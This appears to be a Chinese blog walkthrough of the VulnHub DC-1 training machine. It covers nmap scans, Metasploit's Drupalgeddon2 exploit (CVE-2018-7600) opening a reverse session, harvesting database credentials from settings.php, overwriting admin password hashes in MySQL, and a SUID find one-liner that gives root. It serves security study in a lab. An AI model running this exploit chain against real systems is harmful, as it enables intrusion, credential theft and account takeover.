LOADING

加载过慢请开启缓存 浏览器默认开启

DC-1靶机练习

靶机搭建

访问vulnhub官网下载镜像文件DC:1 ~ VulnHub

673

用vm打开靶机

靶场练习

打开发现靶机需要登录但是没有给到账号密码,猜测可能是需要自己去获得密码。


先用nmap扫描网段内存活的主机找到靶机的ip地址

nmap -sn 192.168.179.0/24

扫描到4个存活ip,没有发现靶机IP。查找原因发现靶机用的是桥接模式,而攻击机用的是nat模式,可能攻击机和靶机不在一个网段导致nmap无法扫描到靶机。

将靶机改为nat模式后重启,再次使用nmap扫描,发现靶机ip:192.168.179.139。

拿到ip后对靶机开放端口进行扫描。

nmap -p- --min-rate 10000 192.168.179.139

对开放端口做一次详细扫描,在扫描的时候查看一下靶机开放的web服务

nmap -p 22,80,111,51783 -sV -sC -O 192.168.179.139

发现多个公开漏洞,启动msfconsole。


使用 drupalgeddon2 模块,设置好参数。

use exploit/unix/webapp/drupal_drupalgeddon2

set RHOSTS 192.168.179.139
set RPORT 80
set LHOST 192.168.179.135    # 你的 Kali IP
set LPORT 4444               # 本地监听端口

run                          #运行

利用Drupal 7 漏洞(CVE-2018-7600)漏洞获得了一个 Meterpreter 会话

输入shell,在靶机上执行命令,先输入whoami查看一下当前用户名。


目前只是www-data,目标是root,所以接下来要想办法进行提权。
利用当前账号进行一些简单的信息收集。

id
uname -a
cat /etc/issue
cat /etc/debian_version


发现使用Debian 7.11,查询是否存在历史漏洞,发现存在多个公开提权漏洞。


先查找SUID文件,有些 SUID 程序(如 find、vim、bash)如果以 root 所有并且设置了 SUID 位,可以被滥用获得 root shell。

find / -perm -4000 -type f 2>/dev/null


先验证 find 确实是 SUID root


利用find提权,但是提权失败了

/usr/bin/find / -name anything -exec /bin/bash -p -c '/bin/bash -p' \; -quit

ls查看一下www用户能看到什么


发现一个flag1,cat查看一下内容


内容提示查看配置文件,找一下配置文件的位置

cat `find / -name settings.php`

查看内容找到flag2和数据库账号密码


连接数据库查看,这里遇到数据库连接不上的问题,本地连接数据库看看mysql是否正常运行。

mysql -u root -p

输入命令发现让我们输入密码,证明mysql是正常运行的。

找了一下问题原因,发现是shell无法正确处理MYSQL的交互终端,这里用一个伪终端来让输出正常显示。

python -c 'import pty; pty.spawn("/bin/bash")'

mysql -udbuser -pR0ck3t

输入命令后正常回显。

先查询数据库

show databases;

发现特殊数据库drupaldb


查看数据中的表名

use drupaldb; show tables;


有一个users表查看一下

select * from users;

获得账号和密码


修改密码来登录账号,先找到加密文件。

exit

先退出MYSQL,ls查看一下。发现脚本文件。

打开scripts发现一个密码哈希的文件


查看文件内容

cat password-hash.sh

[Open: Pasted image 20260908143854.png](/images/2f6b74eae36956afefa2252c6a798691_MD5.jpg
用加密脚本加密123456

php scripts/password-hash.sh 123456

password: 123456                
hash: $S$Du92ZLzvch5cdl142zYtR.POdkTWhDRHSOdlSrH47XxN/FYrDDOX

重新连接MYSQL把密码改成123456

mysql -udbuser -pR0ck3t

UPDATE users
SET pass = '$S$DwSsuJZg9sNMnzfvkOg4EKvt7lMBdQ95kMfBrim.0EXmCA71skhh'
WHERE name = 'admin' OR name = 'Fred';

改完之后打开网站登录admin账号,在find content中找到flag3.

查看flag3,内容提示passwd和shadow

查看passwd发现flag4

提权获得root权限

find . -exec /bin/sh \; -quit

靶机复盘

攻击链

查找ip->端口扫描->web服务识别 → Drupal 漏洞利用 → 获取 www-data → 配置文件获取数据库凭据 → 数据库操作 → 获取管理员权限 → SUID find 提权 → root

遇到的问题

1、扫描存活ip没有扫到靶机ip

原因:靶机与攻击机网络设置不同,通过扫描攻击机网段无法扫描到靶机。

解决方法:将攻击机和靶机使用统一网络适配器,让两台机器在同一网站

2、第一次利用提权失败

原因: 第一次的命令

/usr/bin/find / -name anything -exec /bin/bash -p -c '/bin/bash -p' \; -quit

只有找到anything文件才执行后面的-exec,-exec在命令中不执行所以提权失败。

解决方法:直接执行-exec

find . -exec /bin/sh \; -quit

反思:这里已经知道find具有SUID root权限,但在一次提权失败后没有找原因就直接放弃,直接导致后续大量工作的产生,非常不应该的决定。

3、shell连接MYSQL失败

原因:使用的shell无法正确处理MYSQL的交互终端。

解决方法:创建一个伪终端来让输出输出正常显示,创建命令:

python -c 'import pty; pty.spawn("/bin/bash")'

mysql -udbuser -pR0ck3t